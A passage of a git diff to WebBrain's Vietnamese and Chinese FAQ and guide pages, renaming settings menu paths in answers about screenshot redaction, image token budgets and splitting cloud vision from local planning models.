hãy sử dụng mô hình cục bộ. Với nhà cung cấp ngoại tuyến như llama.cpp hoặc Ollama, ảnh chụp màn hình và văn bản trang sẽ không bao giờ rời khỏi máy của bạn, do đó, không có gì cần chỉnh sửa ngay từ đầu — đó là cấu hình duy nhất đảm bảo quyền riêng tư. Xem \"Tôi có thể sử dụng WebBrain hoàn toàn ngoại tuyến không?\" bên trên. Bạn không có máy có thể chạy mô hình địa phương có khả năng nhìn? Nền tảng trung bình tốt là một mô hình cục bộ nhỏ để lập kế hoạch và gọi công cụ (đủ nhanh và nhẹ cho CPU/GPU khiêm tốn) được ghép nối với nhà cung cấp đám mây cho các lệnh gọi phụ tầm nhìn, có bật tính năng chỉnh sửa Ảnh chụp màn hình. Bạn vẫn giữ cuộc trò chuyện và văn bản trên trang của mình trên thiết bị, đồng thời mọi ảnh chụp màn hình dành cho chế độ xem trên đám mây đều có các trường biểu mẫu và email/điện thoại được phát hiện trước tiên sẽ bị làm mờ — giảm mức độ hiển thị trên đám mây mà không cần phần cứng cho mô hình tầm nhìn cục bộ đầy đủ. Định cấu hình phân chia tầm nhìn bên dưới Cài đặt → Tầm nhìn (xem \"WebBrain làm cách nào để kiểm soát hóa đơn LLM trên đám mây?\" ở trên)."
+ "text": "Không - nó làm giảm mức độ phơi nhiễm, nó không phải là sự đảm bảo. Khi được bật (Cài đặt → Mô hình hỗ trợ → Tầm nhìn → Chỉnh sửa ảnh chụp màn hình, tắt theo mặc định), WebBrain tạo pixel các trường biểu mẫu và văn bản trông giống địa chỉ email hoặc số điện thoại trên mỗi ảnh chụp màn hình trước đây nó được gửi đến một mô hình tầm nhìn. Tính năng phát hiện chạy hoàn toàn trên thiết bị của bạn bằng phương pháp phỏng đoán DOM; không có gì thêm được truyền đi. Đó là nỗ lực tốt nhất và thất bại. Nếu trình phát hiện không thể chạy trên một trang — ví dụ: ngay sau khi điều hướng, trên trình xem PDF hoặc trên các trang trình duyệt bị hạn chế — thì ảnh chụp màn hình vẫn được gửi chưa được biên soạn thay vì hủy bỏ nhiệm vụ của bạn. Nội dung mà phương pháp chẩn đoán DOM không thể nhìn thấy (văn bản được vẽ trên canvas, hình ảnh PII bên trong, các vật dụng bất thường) cũng có thể bị lọt qua. Và cài đặt chỉ bao gồm ảnh chụp màn hình: trang văn bản được gửi đến mô hình không bị nó biên tập lại. Để có được sự riêng tư toàn diện về tầm nhìn, hãy sử dụng mô hình cục bộ. Với nhà cung cấp ngoại tuyến như llama.cpp hoặc Ollama, ảnh chụp màn hình và văn bản trang sẽ không bao giờ rời khỏi máy của bạn, do đó, không có gì cần chỉnh sửa ngay từ đầu — đó là cấu hình duy nhất đảm bảo quyền riêng tư. Xem \"Tôi có thể sử dụng WebBrain hoàn toàn ngoại tuyến không?\" bên trên. Bạn không có máy có thể chạy mô hình địa phương có khả năng nhìn? Nền tảng trung bình tốt là một mô hình cục bộ nhỏ để lập kế hoạch và gọi công cụ (đủ nhanh và nhẹ cho CPU/GPU khiêm tốn) được ghép nối với nhà cung cấp đám mây cho các lệnh gọi phụ tầm nhìn, có bật tính năng chỉnh sửa Ảnh chụp màn hình. Bạn vẫn giữ cuộc trò chuyện và văn bản trên trang của mình trên thiết bị, đồng thời mọi ảnh chụp màn hình dành cho chế độ xem trên đám mây đều có các trường biểu mẫu và email/điện thoại được phát hiện trước tiên sẽ bị làm mờ — giảm mức độ hiển thị trên đám mây mà không cần phần cứng cho mô hình tầm nhìn cục bộ đầy đủ. Định cấu hình phân chia tầm nhìn bên dưới Cài đặt → Mô hình hỗ trợ → Tầm nhìn (xem \"WebBrain làm cách nào để kiểm soát hóa đơn LLM trên đám mây?\" ở trên)."
}
},
{
@@ -289,7 +289,7 @@
"name": "WebBrain kiểm soát hóa đơn LLM trên đám mây như thế nào?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "Ba lớp độc lập: Ảnh chụp màn hình có ý thức về mã thông báo. Trước khi bất kỳ hình ảnh nào rời khỏi máy của bạn, WebBrain sẽ thay đổi kích thước hình ảnh đó (giới hạn cạnh ngắn hơn, giữ nguyên tỷ lệ khung hình) và nén JPEG lặp đi lặp lại cho đến khi phù hợp với ngân sách mã thông báo hình ảnh mỗi lượt. Ảnh chụp màn hình 2000×1200 sẽ tiêu tốn của bạn ~1.500 mã thông báo đầu vào trên GPT-4o sẽ được nén xuống ~300–500 mã thông báo mà không gây tổn thất thực tế nào cho các tác vụ đọc trang. Thực hiện tại _fitImageDimensions với các bài kiểm tra đơn vị cho môn toán ngân sách. Cắt tỉa bối cảnh thông minh. Lịch sử hội thoại, kết quả đầu ra của công cụ và kết xuất DOM nội tuyến được giới hạn mỗi lượt và được cắt bớt cũ nhất trước tiên khi cửa sổ ngữ cảnh của mô hình đang hoạt động sắp đầy. Bạn sẽ không thấy bong bóng đang chạy âm thầm từ 10k token lên 100k vì một read_page đã trả lại một bài báo dài như tiểu thuyết. Mô hình tầm nhìn chuyên dụng. Ghép nối một mô hình văn bản giá rẻ (ví dụ: GPT-4o-mini) để lập kế hoạch và gọi công cụ với một mô hình có khả năng hiển thị riêng biệt (ví dụ: GPT-4o) chỉ dành cho ảnh chụp màn hình, do đó, bạn không phải trả giá cho mô hình đa phương thức cho mỗi lượt. Cấu hình dưới Cài đặt → Tầm nhìn. Kết quả cuối cùng: các phiên dài với các nhà cung cấp đám mây luôn có thể dự đoán được. Để có toàn quyền kiểm soát, hãy sử dụng llama.cpp cục bộ — không tốn phí cho mỗi mã thông báo."
+ "text": "Ba lớp độc lập: Ảnh chụp màn hình có ý thức về mã thông báo. Trước khi bất kỳ hình ảnh nào rời khỏi máy của bạn, WebBrain sẽ thay đổi kích thước hình ảnh đó (giới hạn cạnh ngắn hơn, giữ nguyên tỷ lệ khung hình) và nén JPEG lặp đi lặp lại cho đến khi phù hợp với ngân sách mã thông báo hình ảnh mỗi lượt. Ảnh chụp màn hình 2000×1200 sẽ tiêu tốn của bạn ~1.500 mã thông báo đầu vào trên GPT-4o sẽ được nén xuống ~300–500 mã thông báo mà không gây tổn thất thực tế nào cho các tác vụ đọc trang. Thực hiện tại _fitImageDimensions với các bài kiểm tra đơn vị cho môn toán ngân sách. Cắt tỉa bối cảnh thông minh. Lịch sử hội thoại, kết quả đầu ra của công cụ và kết xuất DOM nội tuyến được giới hạn mỗi lượt và được cắt bớt cũ nhất trước tiên khi cửa sổ ngữ cảnh của mô hình đang hoạt động sắp đầy. Bạn sẽ không thấy bong bóng đang chạy âm thầm từ 10k token lên 100k vì một read_page đã trả lại một bài báo dài như tiểu thuyết. Mô hình tầm nhìn chuyên dụng. Ghép nối một mô hình văn bản giá rẻ (ví dụ: GPT-4o-mini) để lập kế hoạch và gọi công cụ với một mô hình có khả năng hiển thị riêng biệt (ví dụ: GPT-4o) chỉ dành cho ảnh chụp màn hình, do đó, bạn không phải trả giá cho mô hình đa phương thức cho mỗi lượt. Cấu hình dưới Cài đặt → Mô hình hỗ trợ → Tầm nhìn. Kết quả cuối cùng: các phiên dài với các nhà cung cấp đám mây luôn có thể dự đoán được. Để có toàn quyền kiểm soát, hãy sử dụng llama.cpp cục bộ — không tốn phí cho mỗi mã thông báo."
}
},
{
@@ -591,7 +591,7 @@
</details>
<details class="faq-question" id="token-conscious" data-faq-item>
<summary><span>WebBrain kiểm soát hóa đơn LLM trên đám mây như thế nào?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>Ba lớp độc lập:</p><p><strong>Ảnh chụp màn hình có ý thức về mã thông báo.</strong> Trước khi bất kỳ hình ảnh nào rời khỏi máy của bạn, WebBrain sẽ thay đổi kích thước hình ảnh đó (giới hạn cạnh ngắn hơn, giữ nguyên tỷ lệ khung hình) và nén JPEG lặp đi lặp lại cho đến khi phù hợp với ngân sách mã thông báo hình ảnh mỗi lượt. Ảnh chụp màn hình 2000×1200 sẽ tiêu tốn của bạn ~1.500 mã thông báo đầu vào trên GPT-4o sẽ được nén xuống ~300–500 mã thông báo mà không gây tổn thất thực tế nào cho các tác vụ đọc trang. Thực hiện tại <code>_fitImageDimensions</code> với các bài kiểm tra đơn vị cho môn toán ngân sách.</p><p><strong>Cắt tỉa bối cảnh thông minh.</strong> Lịch sử hội thoại, kết quả đầu ra của công cụ và kết xuất DOM nội tuyến được giới hạn mỗi lượt và được cắt bớt cũ nhất trước tiên khi cửa sổ ngữ cảnh của mô hình đang hoạt động sắp đầy. Bạn sẽ không thấy bong bóng đang chạy âm thầm từ 10k token lên 100k vì một <code>read_page</code> đã trả lại một bài báo dài như tiểu thuyết.</p><p><strong>Mô hình tầm nhìn chuyên dụng.</strong> Ghép nối một mô hình văn bản giá rẻ (ví dụ: GPT-4o-mini) để lập kế hoạch và gọi công cụ với một mô hình có khả năng hiển thị riêng biệt (ví dụ: GPT-4o) chỉ dành cho ảnh chụp màn hình, do đó, bạn không phải trả giá cho mô hình đa phương thức cho mỗi lượt. Cấu hình dưới <strong>Cài đặt → Tầm nhìn</strong>.</p><p>Kết quả cuối cùng: các phiên dài với các nhà cung cấp đám mây luôn có thể dự đoán được. Để có toàn quyền kiểm soát, hãy sử dụng llama.cpp cục bộ — không tốn phí cho mỗi mã thông báo.</p></div>
+ <div class="faq-answer"><p>Ba lớp độc lập:</p><p><strong>Ảnh chụp màn hình có ý thức về mã thông báo.</strong> Trước khi bất kỳ hình ảnh nào rời khỏi máy của bạn, WebBrain sẽ thay đổi kích thước hình ảnh đó (giới hạn cạnh ngắn hơn, giữ nguyên tỷ lệ khung hình) và nén JPEG lặp đi lặp lại cho đến khi phù hợp với ngân sách mã thông báo hình ảnh mỗi lượt. Ảnh chụp màn hình 2000×1200 sẽ tiêu tốn của bạn ~1.500 mã thông báo đầu vào trên GPT-4o sẽ được nén xuống ~300–500 mã thông báo mà không gây tổn thất thực tế nào cho các tác vụ đọc trang. Thực hiện tại <code>_fitImageDimensions</code> với các bài kiểm tra đơn vị cho môn toán ngân sách.</p><p><strong>Cắt tỉa bối cảnh thông minh.</strong> Lịch sử hội thoại, kết quả đầu ra của công cụ và kết xuất DOM nội tuyến được giới hạn mỗi lượt và được cắt bớt cũ nhất trước tiên khi cửa sổ ngữ cảnh của mô hình đang hoạt động sắp đầy. Bạn sẽ không thấy bong bóng đang chạy âm thầm từ 10k token lên 100k vì một <code>read_page</code> đã trả lại một bài báo dài như tiểu thuyết.</p><p><strong>Mô hình tầm nhìn chuyên dụng.</strong> Ghép nối một mô hình văn bản giá rẻ (ví dụ: GPT-4o-mini) để lập kế hoạch và gọi công cụ với một mô hình có khả năng hiển thị riêng biệt (ví dụ: GPT-4o) chỉ dành cho ảnh chụp màn hình, do đó, bạn không phải trả giá cho mô hình đa phương thức cho mỗi lượt. Cấu hình dưới <strong>Cài đặt → Mô hình hỗ trợ → Tầm nhìn</strong>.</p><p>Kết quả cuối cùng: các phiên dài với các nhà cung cấp đám mây luôn có thể dự đoán được. Để có toàn quyền kiểm soát, hãy sử dụng llama.cpp cục bộ — không tốn phí cho mỗi mã thông báo.</p></div>
</details>
</section>
<section class="faq-topic" id="topic-models" data-faq-topic>
@@ -685,7 +685,7 @@
</details>
<details class="faq-question" id="screenshot-redaction" data-faq-item>
<summary><span>Cài đặt chỉnh sửa Ảnh chụp màn hình có đảm bảo dữ liệu riêng tư của tôi không bao giờ đạt tới mô hình thị giác trên đám mây không?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>Không - nó làm giảm mức độ phơi nhiễm, nó không phải là sự đảm bảo. Khi được bật (<strong>Cài đặt → Đa chế độ → Chỉnh sửa ảnh chụp màn hình</strong>, tắt theo mặc định), WebBrain tạo pixel các trường biểu mẫu và văn bản trông giống địa chỉ email hoặc số điện thoại trên mỗi ảnh chụp màn hình <em>trước đây</em> nó được gửi đến một mô hình tầm nhìn. Tính năng phát hiện chạy hoàn toàn trên thiết bị của bạn bằng phương pháp phỏng đoán DOM; không có gì thêm được truyền đi.</p><p><strong>Đó là nỗ lực tốt nhất và thất bại.</strong> Nếu trình phát hiện không thể chạy trên một trang — ví dụ: ngay sau khi điều hướng, trên trình xem PDF hoặc trên các trang trình duyệt bị hạn chế — thì ảnh chụp màn hình vẫn được gửi <em>chưa được biên soạn</em> thay vì hủy bỏ nhiệm vụ của bạn. Nội dung mà phương pháp chẩn đoán DOM không thể nhìn thấy (văn bản được vẽ trên canvas, hình ảnh PII bên trong, các vật dụng bất thường) cũng có thể bị lọt qua. Và cài đặt chỉ bao gồm ảnh chụp màn hình: trang <em>văn bản</em> được gửi đến mô hình không bị nó biên tập lại.</p><p><strong>Để có được sự riêng tư toàn diện về tầm nhìn, hãy sử dụng mô hình cục bộ.</strong> Với nhà cung cấp ngoại tuyến như llama.cpp hoặc Ollama, ảnh chụp màn hình và văn bản trang sẽ không bao giờ rời khỏi máy của bạn, do đó, không có gì cần chỉnh sửa ngay từ đầu — đó là cấu hình duy nhất đảm bảo quyền riêng tư. Xem "Tôi có thể sử dụng WebBrain hoàn toàn ngoại tuyến không?" bên trên.</p><p><strong>Bạn không có máy có thể chạy mô hình địa phương có khả năng nhìn?</strong> Nền tảng trung bình tốt là một mô hình cục bộ nhỏ để lập kế hoạch và gọi công cụ (đủ nhanh và nhẹ cho CPU/GPU khiêm tốn) được ghép nối với nhà cung cấp đám mây cho các lệnh gọi phụ tầm nhìn, có bật tính năng chỉnh sửa Ảnh chụp màn hình. Bạn vẫn giữ cuộc trò chuyện và văn bản trên trang của mình trên thiết bị, đồng thời mọi ảnh chụp màn hình dành cho chế độ xem trên đám mây đều có các trường biểu mẫu và email/điện thoại được phát hiện trước tiên sẽ bị làm mờ — giảm mức độ hiển thị trên đám mây mà không cần phần cứng cho mô hình tầm nhìn cục bộ đầy đủ. Định cấu hình phân chia tầm nhìn bên dưới <strong>Cài đặt → Tầm nhìn</strong> (xem "WebBrain làm cách nào để kiểm soát hóa đơn LLM trên đám mây?" ở trên).</p></div>
+ <div class="faq-answer"><p>Không - nó làm giảm mức độ phơi nhiễm, nó không phải là sự đảm bảo. Khi được bật (<strong>Cài đặt → Mô hình hỗ trợ → Tầm nhìn → Chỉnh sửa ảnh chụp màn hình</strong>, tắt theo mặc định), WebBrain tạo pixel các trường biểu mẫu và văn bản trông giống địa chỉ email hoặc số điện thoại trên mỗi ảnh chụp màn hình <em>trước đây</em> nó được gửi đến một mô hình tầm nhìn. Tính năng phát hiện chạy hoàn toàn trên thiết bị của bạn bằng phương pháp phỏng đoán DOM; không có gì thêm được truyền đi.</p><p><strong>Đó là nỗ lực tốt nhất và thất bại.</strong> Nếu trình phát hiện không thể chạy trên một trang — ví dụ: ngay sau khi điều hướng, trên trình xem PDF hoặc trên các trang trình duyệt bị hạn chế — thì ảnh chụp màn hình vẫn được gửi <em>chưa được biên soạn</em> thay vì hủy bỏ nhiệm vụ của bạn. Nội dung mà phương pháp chẩn đoán DOM không thể nhìn thấy (văn bản được vẽ trên canvas, hình ảnh PII bên trong, các vật dụng bất thường) cũng có thể bị lọt qua. Và cài đặt chỉ bao gồm ảnh chụp màn hình: trang <em>văn bản</em> được gửi đến mô hình không bị nó biên tập lại.</p><p><strong>Để có được sự riêng tư toàn diện về tầm nhìn, hãy sử dụng mô hình cục bộ.</strong> Với nhà cung cấp ngoại tuyến như llama.cpp hoặc Ollama, ảnh chụp màn hình và văn bản trang sẽ không bao giờ rời khỏi máy của bạn, do đó, không có gì cần chỉnh sửa ngay từ đầu — đó là cấu hình duy nhất đảm bảo quyền riêng tư. Xem "Tôi có thể sử dụng WebBrain hoàn toàn ngoại tuyến không?" bên trên.</p><p><strong>Bạn không có máy có thể chạy mô hình địa phương có khả năng nhìn?</strong> Nền tảng trung bình tốt là một mô hình cục bộ nhỏ để lập kế hoạch và gọi công cụ (đủ nhanh và nhẹ cho CPU/GPU khiêm tốn) được ghép nối với nhà cung cấp đám mây cho các lệnh gọi phụ tầm nhìn, có bật tính năng chỉnh sửa Ảnh chụp màn hình. Bạn vẫn giữ cuộc trò chuyện và văn bản trên trang của mình trên thiết bị, đồng thời mọi ảnh chụp màn hình dành cho chế độ xem trên đám mây đều có các trường biểu mẫu và email/điện thoại được phát hiện trước tiên sẽ bị làm mờ — giảm mức độ hiển thị trên đám mây mà không cần phần cứng cho mô hình tầm nhìn cục bộ đầy đủ. Định cấu hình phân chia tầm nhìn bên dưới <strong>Cài đặt → Mô hình hỗ trợ → Tầm nhìn</strong> (xem "WebBrain làm cách nào để kiểm soát hóa đơn LLM trên đám mây?" ở trên).</p></div>
</details>
<details class="faq-question" id="page-context" data-faq-item>
<summary><span>WebBrain có gửi toàn bộ DOM đến mô hình AI không?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
diff --git a/web/docs/zh/faq/index.html b/web/docs/zh/faq/index.html
index 63f0c625f..2ecfa799c 100644
--- a/web/docs/zh/faq/index.html
+++ b/web/docs/zh/faq/index.html
@@ -249,7 +249,7 @@
"name": "截图打码设置能保证我的隐私数据永远不会到达云端视觉模型吗?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "不能——它只是降低了暴露风险,并不是保证。启用后(设置 → 多模态 → 截图打码,默认关闭),WebBrain 会在每张截图发送给视觉模型之前,对表单字段以及看起来像邮箱地址或电话号码的文本进行打码。检测完全在你的设备上通过 DOM 启发式方法运行;不会额外传输任何内容。 这是尽力而为且失败开放(fail-open)的处理。如果检测器无法在某个页面上运行——例如刚导航完成之后、在 PDF 查看器中,或在受限的浏览器页面上——截图仍会以未打码的原样发送,而不会中止你的任务。DOM 启发式方法看不到的内容(canvas 上绘制的文字、图片中的个人信息、不常见的组件)同样可能被遗漏。而且该设置只覆盖截图:发送给模型的页面文本不会被它打码。 若需要完全的视觉隐私,请使用本地模型。使用 llama.cpp 或 Ollama 等离线提供方时,截图和页面文本永远不会离开你的设备,因此从一开始就没有需要打码的内容——这是唯一能保证隐私的配置。参见上文的\"我能完全离线使用 WebBrain 吗?\"。 没有能运行支持视觉的本地模型的设备?一个不错的折中方案是:用一个体积小的本地模型负责规划和工具调用(轻量到普通 CPU/GPU 也能胜任),再搭配一个云端提供方负责视觉子调用,同时开启截图打码。这样你的对话和页面文本仍留在本地,而每一张发往云端视觉的截图都已先对表单字段和检测到的邮箱/电话进行了打码——在不需要完整本地视觉模型硬件的情况下减少了云端暴露。请在设置 → 视觉中配置这种拆分(参见上文的\"WebBrain 如何控制云端 LLM 的账单?\")。"
+ "text": "不能——它只是降低了暴露风险,并不是保证。启用后(设置 → 辅助模型 → 视觉 → 截图打码,默认关闭),WebBrain 会在每张截图发送给视觉模型之前,对表单字段以及看起来像邮箱地址或电话号码的文本进行打码。检测完全在你的设备上通过 DOM 启发式方法运行;不会额外传输任何内容。 这是尽力而为且失败开放(fail-open)的处理。如果检测器无法在某个页面上运行——例如刚导航完成之后、在 PDF 查看器中,或在受限的浏览器页面上——截图仍会以未打码的原样发送,而不会中止你的任务。DOM 启发式方法看不到的内容(canvas 上绘制的文字、图片中的个人信息、不常见的组件)同样可能被遗漏。而且该设置只覆盖截图:发送给模型的页面文本不会被它打码。 若需要完全的视觉隐私,请使用本地模型。使用 llama.cpp 或 Ollama 等离线提供方时,截图和页面文本永远不会离开你的设备,因此从一开始就没有需要打码的内容——这是唯一能保证隐私的配置。参见上文的\"我能完全离线使用 WebBrain 吗?\"。 没有能运行支持视觉的本地模型的设备?一个不错的折中方案是:用一个体积小的本地模型负责规划和工具调用(轻量到普通 CPU/GPU 也能胜任),再搭配一个云端提供方负责视觉子调用,同时开启截图打码。这样你的对话和页面文本仍留在本地,而每一张发往云端视觉的截图都已先对表单字段和检测到的邮箱/电话进行了打码——在不需要完整本地视觉模型硬件的情况下减少了云端暴露。请在设置 → 辅助模型 → 视觉中配置这种拆分(参见上文的\"WebBrain 如何控制云端 LLM 的账单?\")。"
}
},
{
@@ -289,7 +289,7 @@
"name": "WebBrain 如何控制云端 LLM 的账单?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "三个独立的层: 节省 token 的截图。在任何图像离开你的机器之前,WebBrain 会先缩放它(短边封顶,保持宽高比),然后迭代 JPEG 压缩直到适配每轮的图像 token 预算。一张 2000×1200 的截图,在 GPT-4o 上原本大约要花 1500 个输入 token,可被压缩到约 300–500 个 token,对页面阅读任务来说没有实际损失。实现位于 _fitImageDimensions,并有覆盖预算计算的单元测试。 智能上下文裁剪。对话历史、工具输出和内联 DOM 转储都会按每轮加以限制,当活跃模型的上下文窗口接近占满时,会从最早的内容开始裁剪。你不会看到一次运行因为一次 read_page 返回了一篇长篇大论,就从 1 万 token 悄悄膨胀到 10 万。 专用视觉模型。将便宜的文本模型(如 GPT-4o-mini)用于规划和工具调用,再配一个专门的视觉模型(如 GPT-4o)只用于截图,这样你不必在每一轮都支付多模态模型的价格。可在 设置 → 视觉 中配置。 结果:与云端提供商的长会话保持可预测。如需完全控制,请使用本地 llama.cpp —— 每 token 成本为零。"
+ "text": "三个独立的层: 节省 token 的截图。在任何图像离开你的机器之前,WebBrain 会先缩放它(短边封顶,保持宽高比),然后迭代 JPEG 压缩直到适配每轮的图像 token 预算。一张 2000×1200 的截图,在 GPT-4o 上原本大约要花 1500 个输入 token,可被压缩到约 300–500 个 token,对页面阅读任务来说没有实际损失。实现位于 _fitImageDimensions,并有覆盖预算计算的单元测试。 智能上下文裁剪。对话历史、工具输出和内联 DOM 转储都会按每轮加以限制,当活跃模型的上下文窗口接近占满时,会从最早的内容开始裁剪。你不会看到一次运行因为一次 read_page 返回了一篇长篇大论,就从 1 万 token 悄悄膨胀到 10 万。 专用视觉模型。将便宜的文本模型(如 GPT-4o-mini)用于规划和工具调用,再配一个专门的视觉模型(如 GPT-4o)只用于截图,这样你不必在每一轮都支付多模态模型的价格。可在 设置 → 辅助模型 → 视觉 中配置。 结果:与云端提供商的长会话保持可预测。如需完全控制,请使用本地 llama.cpp —— 每 token 成本为零。"
}
},
{
@@ -591,7 +591,7 @@
</details>
<details class="faq-question" id="token-conscious" data-faq-item>
<summary><span>WebBrain 如何控制云端 LLM 的账单?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>三个独立的层:</p><p><strong>节省 token 的截图。</strong>在任何图像离开你的机器之前,WebBrain 会先缩放它(短边封顶,保持宽高比),然后迭代 JPEG 压缩直到适配每轮的图像 token 预算。一张 2000×1200 的截图,在 GPT-4o 上原本大约要花 1500 个输入 token,可被压缩到约 300–500 个 token,对页面阅读任务来说没有实际损失。实现位于 <code>_fitImageDimensions</code>,并有覆盖预算计算的单元测试。</p><p><strong>智能上下文裁剪。</strong>对话历史、工具输出和内联 DOM 转储都会按每轮加以限制,当活跃模型的上下文窗口接近占满时,会从最早的内容开始裁剪。你不会看到一次运行因为一次 <code>read_page</code> 返回了一篇长篇大论,就从 1 万 token 悄悄膨胀到 10 万。</p><p><strong>专用视觉模型。</strong>将便宜的文本模型(如 GPT-4o-mini)用于规划和工具调用,再配一个专门的视觉模型(如 GPT-4o)只用于截图,这样你不必在每一轮都支付多模态模型的价格。可在 <strong>设置 → 视觉</strong> 中配置。</p><p>结果:与云端提供商的长会话保持可预测。如需完全控制,请使用本地 llama.cpp —— 每 token 成本为零。</p></div>
+ <div class="faq-answer"><p>三个独立的层:</p><p><strong>节省 token 的截图。</strong>在任何图像离开你的机器之前,WebBrain 会先缩放它(短边封顶,保持宽高比),然后迭代 JPEG 压缩直到适配每轮的图像 token 预算。一张 2000×1200 的截图,在 GPT-4o 上原本大约要花 1500 个输入 token,可被压缩到约 300–500 个 token,对页面阅读任务来说没有实际损失。实现位于 <code>_fitImageDimensions</code>,并有覆盖预算计算的单元测试。</p><p><strong>智能上下文裁剪。</strong>对话历史、工具输出和内联 DOM 转储都会按每轮加以限制,当活跃模型的上下文窗口接近占满时,会从最早的内容开始裁剪。你不会看到一次运行因为一次 <code>read_page</code> 返回了一篇长篇大论,就从 1 万 token 悄悄膨胀到 10 万。</p><p><strong>专用视觉模型。</strong>将便宜的文本模型(如 GPT-4o-mini)用于规划和工具调用,再配一个专门的视觉模型(如 GPT-4o)只用于截图,这样你不必在每一轮都支付多模态模型的价格。可在 <strong>设置 → 辅助模型 → 视觉</strong> 中配置。</p><p>结果:与云端提供商的长会话保持可预测。如需完全控制,请使用本地 llama.cpp —— 每 token 成本为零。</p></div>
</details>
</section>
<section class="faq-topic" id="topic-models" data-faq-topic>
@@ -685,7 +685,7 @@
</details>
<details class="faq-question" id="screenshot-redaction" data-faq-item>
<summary><span>截图打码设置能保证我的隐私数据永远不会到达云端视觉模型吗?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>不能——它只是降低了暴露风险,并不是保证。启用后(<strong>设置 → 多模态 → 截图打码</strong>,默认关闭),WebBrain 会在每张截图发送给视觉模型<em>之前</em>,对表单字段以及看起来像邮箱地址或电话号码的文本进行打码。检测完全在你的设备上通过 DOM 启发式方法运行;不会额外传输任何内容。</p><p><strong>这是尽力而为且失败开放(fail-open)的处理。</strong>如果检测器无法在某个页面上运行——例如刚导航完成之后、在 PDF 查看器中,或在受限的浏览器页面上——截图仍会以<em>未打码</em>的原样发送,而不会中止你的任务。DOM 启发式方法看不到的内容(canvas 上绘制的文字、图片中的个人信息、不常见的组件)同样可能被遗漏。而且该设置只覆盖截图:发送给模型的页面<em>文本</em>不会被它打码。</p><p><strong>若需要完全的视觉隐私,请使用本地模型。</strong>使用 llama.cpp 或 Ollama 等离线提供方时,截图和页面文本永远不会离开你的设备,因此从一开始就没有需要打码的内容——这是唯一能保证隐私的配置。参见上文的"我能完全离线使用 WebBrain 吗?"。</p><p><strong>没有能运行支持视觉的本地模型的设备?</strong>一个不错的折中方案是:用一个体积小的本地模型负责规划和工具调用(轻量到普通 CPU/GPU 也能胜任),再搭配一个云端提供方负责视觉子调用,同时开启截图打码。这样你的对话和页面文本仍留在本地,而每一张发往云端视觉的截图都已先对表单字段和检测到的邮箱/电话进行了打码——在不需要完整本地视觉模型硬件的情况下减少了云端暴露。请在<strong>设置 → 视觉</strong>中配置这种拆分(参见上文的"WebBrain 如何控制云端 LLM 的账单?")。</p></div>
+ <div class="faq-answer"><p>不能——它只是降低了暴露风险,并不是保证。启用后(<strong>设置 → 辅助模型 → 视觉 → 截图打码</strong>,默认关闭),WebBrain 会在每张截图发送给视觉模型<em>之前</em>,对表单字段以及看起来像邮箱地址或电话号码的文本进行打码。检测完全在你的设备上通过 DOM 启发式方法运行;不会额外传输任何内容。</p><p><strong>这是尽力而为且失败开放(fail-open)的处理。</strong>如果检测器无法在某个页面上运行——例如刚导航完成之后、在 PDF 查看器中,或在受限的浏览器页面上——截图仍会以<em>未打码</em>的原样发送,而不会中止你的任务。DOM 启发式方法看不到的内容(canvas 上绘制的文字、图片中的个人信息、不常见的组件)同样可能被遗漏。而且该设置只覆盖截图:发送给模型的页面<em>文本</em>不会被它打码。</p><p><strong>若需要完全的视觉隐私,请使用本地模型。</strong>使用 llama.cpp 或 Ollama 等离线提供方时,截图和页面文本永远不会离开你的设备,因此从一开始就没有需要打码的内容——这是唯一能保证隐私的配置。参见上文的"我能完全离线使用 WebBrain 吗?"。</p><p><strong>没有能运行支持视觉的本地模型的设备?</strong>一个不错的折中方案是:用一个体积小的本地模型负责规划和工具调用(轻量到普通 CPU/GPU 也能胜任),再搭配一个云端提供方负责视觉子调用,同时开启截图打码。这样你的对话和页面文本仍留在本地,而每一张发往云端视觉的截图都已先对表单字段和检测到的邮箱/电话进行了打码——在不需要完整本地视觉模型硬件的情况下减少了云端暴露。请在<strong>设置 → 辅助模型 → 视觉</strong>中配置这种拆分(参见上文的"WebBrain 如何控制云端 LLM 的账单?")。</p></div>
</details>
<details class="faq-question" id="page-context" data-faq-item>
<summary><span>WebBrain 会把整个 DOM 发送给 AI 模型吗?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
diff --git a/web/docs/zh/index.html b/web/docs/zh/index.html
index a02db6517..6648f75c8 100644
--- a/web/docs/zh/index.html
+++ b/web/docs/zh/index.html
@@ -20,7 +20,7 @@
<section class="doc-hero"><div class="eyebrow">WebBrain 使用手册</div><h1>浏览器代理有很多开关,但你不需要先学会所有开关。</h1><p class="lede">先打开一个网页并提出问题。这份指南先带你用最短路径得到结果,再在真正需要时解释更深层的设置。</p><div class="path-grid"><a class="path-card" href="#first-run"><span class="tab-key">第一次使用</span><h2>先完成一个任务</h2><p>打开侧边栏、选择合适模式,不改任何设置也能开始。</p><span class="arrow">开始使用 →</span></a><a class="path-card" href="/docs/zh/settings/"><span class="tab-key">控制代理</span><h2>看懂设置</h2><p>每个标签页会改变什么、哪些默认值适合大多数人、哪些可以先忽略。</p><span class="arrow">打开设置指南 →</span></a><a class="path-card" href="/docs/zh/providers/"><span class="tab-key">选择模型</span><h2>配置提供商</h2><p>使用 WebBrain Compass、云 API、模型路由或本地模型。</p><span class="arrow">选择模型 →</span></a><a class="path-card" href="/docs/zh/safety/"><span class="tab-key">保持控制</span><h2>安全使用执行模式</h2><p>了解询问、执行、开发模式,网站权限、记忆边界和高风险覆盖项。</p><span class="arrow">查看安全指南 →</span></a><a class="path-card" href="/docs/zh/formats/"><span class="tab-key">迁移内容</span><h2>放心导出</h2><p>区分对话、轨迹、设置与已保存工作流文件,并了解哪些内容敏感。</p><span class="arrow">了解导出格式 →</span></a></div></section>
